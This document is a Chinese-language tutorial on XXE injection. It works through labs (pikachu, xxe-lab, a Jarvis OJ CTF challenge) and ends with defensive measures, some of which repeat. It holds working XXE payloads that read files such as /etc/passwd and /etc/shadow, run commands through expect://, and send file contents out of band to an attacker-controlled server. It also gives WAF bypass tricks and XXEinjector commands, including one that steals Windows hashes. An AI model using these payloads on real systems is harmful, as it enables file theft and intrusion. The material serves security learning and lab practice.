XXE 漏洞及案例实战

文章目录

  • XXE 漏洞
    • 1. 基础概念
      • 1.1 XML基础概念
      • 1.2 XML与HTML的主要差异
      • 1.3 xml示例
    • 2. 演示案例
      • 2.1 pikachu靶场XML
        • 2.1.1 文件读取
        • 2.1.2 内网探针或者攻击内网应用(触发漏洞地址)
        • 2.1.4 RCE
        • 2.1.5 引入外部实体DTD
        • 2.1.6 无回显读取文件
    • 3. XXE 绕过
      • 3.1 data://协议绕过
      • 3.2 file://协议加文件上传
      • 3.3 php://filter协议加文件上传
    • 4. XXE 靶场
      • 4.1 xxe-lab靶场
      • 4.2 CTF-Jarvis-OJ-Web-XXE
      • 4.3 Vulnhub/XXE Lab: 1
    • 5. XXE 工具
      • 5.1 获取地址
      • 5.2 参数说明
      • 5.3 工具使用
    • 6. XXE 安全防御

XXE 漏洞

1. 基础概念

1.1 XML基础概念

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档 类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

1.2 XML与HTML的主要差异

XML被设计为传输和存储数据,其焦点是数据的内容

HTML被设计用来显示数据,其焦点是数据的外观

HTML旨在显示信息,而XML旨在传输信息。

1.3 xml示例

<!--文档类型定义-->
<!DOCTYPE note [	<!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>	<!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>			<!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>		<!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>		<!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>		<!--定义body元素为"#PCDATA"类型-->
]]]><!--文档元素-->
<note><to>Dave</to><from>Tom</from><head>Reminder</head><body>You are a good man</body>
</note>

2. 演示案例

2.1 pikachu靶场XML

libxml2PHPJava.NET
file
http
ftp
file
http
ftp
php
compress.zlib
compress.bzip2
data
glob
phar
http
https
ftp
file
jar
netdoc
mailto
gopher *
file
http
https
ftp

开启靶场

image-20230923180352482

2.1.1 文件读取
<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<x>&xxe;</x>

注意:文件读取的前提是得有读取的文件。

image-20230923180527674

2.1.2 内网探针或者攻击内网应用(触发漏洞地址)
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY wuhu SYSTEM "http://192.168.188.194:80/index.txt">
]>
<x>&wuhu;</x>

上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放。

如果访问的文件不存在,会显示如下图的信息

image-20230923180744405

说明:这种情况实战中一般不容易遇到,因为前提条件比较多,确定内网上存在该文件,并且确定存在该漏洞。还得确定内网上存在该IP地址。

2.1.4 RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

id是对于的执行的命令。实战情况比较难碰到。

2.1.5 引入外部实体DTD
<?xml version = "1.0"?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">%file;
]>
<x>&send;</x>

evil2.dtd文件

image-20230923182200035

文件内容如下:

<!ENTITY send SYSTEM "file:///c:/wuhu.txt">

image-20230923182111087

条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施。

2.1.6 无回显读取文件

先将靶场的回显代码注释掉

image-20230923192700791

攻击代码:

<?xml version = "1.0"?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/wuhu.txt"><!ENTITY % dtd SYSTEM "http://192.168.188.197/test.dtd">%dtd;%send;
]>

test.dtd:

<!ENTITY % payload"<!ENTITY &#x25; send SYSTEM
'http://192.168.188.197/?data=%file;'>"
>
%payload;

上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。

开启phpstudy–apache日志

image-20230923191758016

image-20230923193500875

然后进行攻击,无回显,查看日志信息。

image-20230923193435692

解码网站。

image-20230923193657799

3. XXE 绕过

CTF XXE

绕过WAF保护的XXE

’ENTITY‘ ’YSTEM‘ ’file‘ 等关键词被过滤

使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

若http被过滤,可以使用如下进行绕过

3.1 data://协议绕过

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % a " <!ENTITY %  b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> "> %a;%b;
]>
<test>&hhh;</test>

3.2 file://协议加文件上传

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">%a;
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>

3.3 php://filter协议加文件上传

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">%a;
]><test>&hhh;</test><!--上传文件-->
<!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">%a;
]><test>&hhh;</test>
<!--上传文件-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==

4. XXE 靶场

4.1 xxe-lab靶场

https://github.com/c0ny1/xxe-lab

image-20230923202142335

使用bp抓取数据包,发现Content-Type参数是application/xml,说明在传输数据的时候采用的是xml语言进行传输的。并且传递的数据中代码的写法也是xml语言的写法。从而就证明了存在XXE漏洞。

image-20230923202701373

Payload:

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///C:/wuhu.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

将数据包发送到Request模块,然后将攻击的payload复制到指定的位置上,发包即可。

image-20230923203325635

读取文件获取用户名密码

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY test SYSTEM "PHP://filter/read=convert.base64-encode/resource=C:/software/phpstudy_pro/WWW/xxe-lab-master/php_xxe/doLogin.php">
]><user><username>admin;&test;</username><password>123456</password></user>

image-20230923204550418

对读取的内容进行base64解码:

image-20230923204755319

返回页面进行登录。

image-20230923204831357

4.2 CTF-Jarvis-OJ-Web-XXE

链接地址

访问页面如下

image-20230923205057665

点击Go!,使用BurpSuite抓取数据包

image-20230923205626336

发现Content-Type的参数是application/json类型的,传递的数据格式是JSON格式的。

那么我们可以修改Content-Type的类型为xml,并提交构造的Payload。

<?xml version="1.0"?>
<!DOCTYPE  ANY [
<!ENTITY ss SYSTEM "file:///etc/passwd">
]>
<x>&ss;</x>

image-20230923205853842

读取etc下的shadow文件

image-20230923210511905

4.3 Vulnhub/XXE Lab: 1

靶场地址:Vulnhub/XXE Lab: 1。

下载链接:Download (Mirror)。

5. XXE 工具

XXEinjector本身提供了非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行。

5.1 获取地址

https://github.com/enjoiz/XXEinjector
https://github.com/enjoiz/XXEinjector/archive/master.zip

5.2 参数说明

--host     			# 必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file      		# 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path           	# 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute          	# 必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger        	# 记录输出结果。
--rhost         	# 远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport          	# 远程主机的TCP端口信息。(--rport=8080)
--phpfilter    		# 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc     		# 使用netdoc协议。(Java).
--enumports  		# 枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes      		# 窃取运行当前应用程序用户的Windows哈希。
--expect       		# 使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload       		# 使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt      		# XSLT注入测试。
--ssl              	# 使用SSL。
--proxy        		# 使用代理。(--proxy=127.0.0.1:8080)
--httpport 			# Set自定义HTTP端口。(--httpport=80)
--ftpport       	# 设置自定义FTP端口。(--ftpport=21)
--gopherport  		# 设置自定义gopher端口。(--gopherport=70)
--jarport       	# 设置自定义文件上传端口。(--jarport=1337)
--xsltport  		# 设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test     			# 该模式可用于测试请求的有效。
--urlencode     	# URL编码,默认为URI。
--output       		# 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout     		# 设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout  		# 设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast     			# 跳过枚举询问,有可能出现结果假阳性。
--verbose     		# 显示verbose信息。

5.3 工具使用

枚举HTTPS应用程序中的/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl

使用gopher(OOB方法)枚举/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

二次漏洞利用:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt

使用HTTP带外方法和netdoc协议对文件进行爆破攻击:

ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc

通过直接性漏洞利用方式进行资源枚举:

ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

枚举未过滤的端口:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

窃取Windows哈希:

ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes

使用Java jar上传文件:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf

使用PHP expect执行系统指令:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls

测试XSLT注入:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt

记录请求信息:

ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

6. XXE 安全防御

防范XXE攻击,可以采取以下措施:

  1. 输入验证和过滤:对于接收到的 XML 输入,进行严格的输入验证和过滤。确保只接受符合预期格式和结构的 XML 数据,并拒绝不受信任或异常的输入。
  2. 禁用外部实体解析:在 XML 解析器中,禁用或限制外部实体的解析。可以通过设置解析器参数、使用安全配置文件(如 XXE 防御模板)或编程方式来实现。
  3. 使用本地 DTD:避免使用外部 DTD(Document Type Definition)文件,并使用本地 DTD 或内联 DTD 来定义 XML 结构。这样可以防止攻击者利用外部实体声明。
  4. 解析时禁用网络访问:配置 XML 解析器,确保在解析 XML 时禁用或限制对外部网络资源的访问,以防止加载远程实体或资源。
  5. 使用安全的解析库:选择使用经过安全审计和漏洞修复的 XML 解析库。确保使用最新版本的解析库,并及时应用安全补丁。
  6. 白名单验证:根据业务需求,使用白名单验证来限制允许的实体和合法的数据类型。只允许所需的实体和数据类型,拒绝其他实体和不可信的数据类型。
  7. 安全配置:对服务器和应用程序进行安全配置,例如限制文件系统访问权限、禁止外部网络请求等,以减少攻击面和风险。
  8. 升级至最新的 XML 规范:使用最新的 XML 规范,如 XML 1.1 版本,在新规范中对 XXE 攻击进行了一些改进和修复。
    解析器参数、使用安全配置文件(如 XXE 防御模板)或编程方式来实现。
  9. 使用本地 DTD:避免使用外部 DTD(Document Type Definition)文件,并使用本地 DTD 或内联 DTD 来定义 XML 结构。这样可以防止攻击者利用外部实体声明。
  10. 解析时禁用网络访问:配置 XML 解析器,确保在解析 XML 时禁用或限制对外部网络资源的访问,以防止加载远程实体或资源。
  11. 使用安全的解析库:选择使用经过安全审计和漏洞修复的 XML 解析库。确保使用最新版本的解析库,并及时应用安全补丁。
  12. 白名单验证:根据业务需求,使用白名单验证来限制允许的实体和合法的数据类型。只允许所需的实体和数据类型,拒绝其他实体和不可信的数据类型。
  13. 安全配置:对服务器和应用程序进行安全配置,例如限制文件系统访问权限、禁止外部网络请求等,以减少攻击面和风险。
  14. 升级至最新的 XML 规范:使用最新的 XML 规范,如 XML 1.1 版本,在新规范中对 XXE 攻击进行了一些改进和修复。
  15. 安全审计和测试:定期进行安全审计和测试,包括代码审查、渗透测试和漏洞扫描等,以发现并修复潜在的 XXE 漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/140636.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Nitrux 3.0 正式发布并全面上市

导读乌里-埃雷拉&#xff08;Uri Herrera&#xff09;近日宣布 Nitrux 3.0 正式发布并全面上市&#xff0c;它是基于 Debian、无 systemd、不可变的 GNU/Linux 发行版的最新安装媒体&#xff0c;利用了 KDE 软件。 Nitrux 3.0 由带有 Liquorix 味道的 Linux 6.4.12 内核提供支持…

QT-day4

画一个时钟 widget.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QPaintEvent> #include <QDebug> #include <QPainter> #include <QTimer> #include <QTime>QT_BEGIN_NAMESPACE namespace Ui { class Widget; } Q…

记一次逆向某医院挂号软件的经历

背景 最近家里娃需要挂专家号的儿保&#xff0c;奈何专家号实在过于抢手&#xff0c;身为程序员的我也没有其他的社会资源渠道可以去弄个号&#xff0c;只能发挥自己的技术力量来解决这个问题了。 出师不利 首先把应用安装到我已经 Root 过的 Pixel 3 上面&#xff0c;点击应…

关于Pandas数据分析

pandas的数据加载与预处理 数据清洗&#xff1a;洗掉脏数据 整理分析&#xff1a;字不如表 数据展现&#xff1a;表不如图 环境搭建 pythonjupyter anaconda Jupyter Notebook Jupyter Notebook可以在网页页面中直接编写代码和运行代码, 代码的运行结果也会直接在代码块下显示…

【 Ubuntu】systemd服务创建、启用、状态查询、自启等

要在 Ubuntu 启动后执行一个守护脚本&#xff0c;您可以使用 Shell 脚本编写一个 systemd 服务单元。systemd 是 Ubuntu 中常用的服务管理工具&#xff0c;可以在系统启动时自动启动和管理服务。 下面是一个示例的守护脚本和 systemd 服务单元的步骤&#xff1a; 创建守护脚本…

Spring之依赖注入源码解析

基于Autowired的依赖注入底层原理 基于Resource注解底层工作流程图&#xff1a; 1 Spring中到底有几种依赖注入的方式&#xff1f; 首先分两种&#xff1a; 手动注入 自动注入 1.1 手动注入 在XML中定义Bean时&#xff0c;就是手动注入&#xff0c;因为是程序员手动给某…

LeetCode 75-02:字符串的最大公因子

前置知识&#xff1a;使用欧几里得算法求出最大公约数 func gcdOfStrings(str1 string, str2 string) string {if str1str2 ! str2str1 {return ""}return str1[:gcd(len(str1), len(str2))] }func gcd(a, b int)int{if b 0{return a}return gcd(b, a%b) }

车载软件架构 —— AUTOSAR Vector SIP包(二)

车载软件架构 —— AUTOSAR Vector SIP包(二) 我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 没有人关注你。也无需有人关注你。你必须承认自己的价值,你不能站在他人的角度来反对自己。人生在…

Android Kotlin 基础详解

1,基础语法 1.1 可变变量与不可变变量 可以多次赋值的变量是可变变量&#xff0c;用关键字var表示&#xff1a; var <标识符> : <类型> <初始化值> 注意&#xff0c;在kotlin中成员变量不会赋默认值&#xff0c;不像java一样&#xff0c;必须手动添加默…

83、SpringBoot --- 下载和安装 MSYS2、 Redis

★ 下载和安装MSYS2&#xff08;作用&#xff1a;可在Windows模拟一个Linux的编译环境&#xff09; 得到Redis的编译环境——在Linux平台上&#xff0c;这一步可以省略。&#xff08;1&#xff09;登录MSYS2官网&#xff08;http://repo.msys2.org/distrib/ &#xff09;下载M…

Java 项目-基于 SpringBoot+Vue的疫情网课管理系统

文章目录 第一章 简介第二章 技术栈第三章 系统分析3.4.2学生用例 第四章 系统设计第五章 系统实现5.1学生功能模块5.2管理员功能模块5.3教师功能模块 六 源码咨询 第一章 简介 疫情网课也都将通过计算机进行整体智能化操作&#xff0c;实现的功能如下。 例如 管理员&#x…

【力扣-每日一题】LCP 06. 拿硬币

class Solution { public:int minCount(vector<int>& coins) {int res0;for(auto i:coins){resi/2;res(i%2)?1:0;}return res;} };

2023 年前端 UI 组件库概述,百花齐放!

UI组件库提供了各种常见的 UI 元素&#xff0c;比如按钮、输入框、菜单等&#xff0c;只需要调用相应的组件并按照需求进行配置&#xff0c;就能够快速构建出一个功能完善的 UI。 虽然市面上有许多不同的UI组件库可供选择&#xff0c;但在2023年底也并没有出现一两个明确的解决…

《计算机视觉中的多视图几何》笔记(10)

10 3D Reconstruction of Cameras and Structure 本章主要描述了如何利用2张图片来恢复相机的参数以及物体在三维空间中的形状。 文章目录 10 3D Reconstruction of Cameras and Structure10.1 Outline of reconstruction method10.2 Reconstruction ambiguity10.3 The proje…

批量、在线学习, 参数、非参数学习

批量学习&#xff08;Batch Learning&#xff09;和在线学习&#xff08;Online Learning&#xff09; 批量学习 批量学习的概念非常容易理解&#xff0c;我们之前介绍的许多机器学习算法&#xff0c;如果没有特殊说明&#xff0c;都可以采用批量学习的方式。批量学习的过程通…

【C++】布隆过滤器简单操纵模拟以及常见题目

&#x1f30f;博客主页&#xff1a; 主页 &#x1f516;系列专栏&#xff1a; C ❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ &#x1f60d;期待与大家一起进步&#xff01; 文章目录 前言一、求下标仿函数的建议二、布隆过滤器代码面试题1.近似算法&#xff1a;2.精确算…

CompletableFuture-FutureTask

2. CompletableFuture 语雀 2.1 Future接口理论知识复习 Future接口&#xff08;FutureTask实现类&#xff09;定义了操作异步任务执行一些方法&#xff0c;如获取异步任务的执行结果、取消异步任务的执行、判断任务是否被取消、判断任务执行是否完毕等。 举例&#xff1a;…

Cortex-M3/M4之SVC和PendSV异常

一、SVC异常 SVC(系统服务调用&#xff0c;亦简称系统调用)用于产生系统函数的调用请求。例如&#xff0c;操作系统不让用户程序直接访问硬件&#xff0c;而是通过提供一些系统服务函数&#xff0c;用户程序使用 SVC 发出对系统服务函数的呼叫请求&#xff0c;以这种方法调用它…

“源启2.0”:从自上而下的解构,到自下而上的重构

从垂直打穿、到应用重构&#xff0c;中电金信赋能行业数字化转型之路既“向下走”、也“向上看”。“向上”先理解和吃透客户的企业战略&#xff0c;进而自上而下地将企业战略拆解为业务架构&#xff0c;“向下”再将业务架构拆解为应用架构和数据架构&#xff0c;并进一步对齐…

【Acwing1027】方格取数(动态规划)题解

题目描述 思路分析 错误思路&#xff1a; 贪心法&#xff0c;先走一次求出最大值&#xff0c;把走过的路上面的数值清零&#xff0c;然后用同样的方法再走一遍求最大值&#xff0c;然后让这两个最大值相加就是最后的结果。 很多人在看到这个题目的时候会有上面的思路&#x…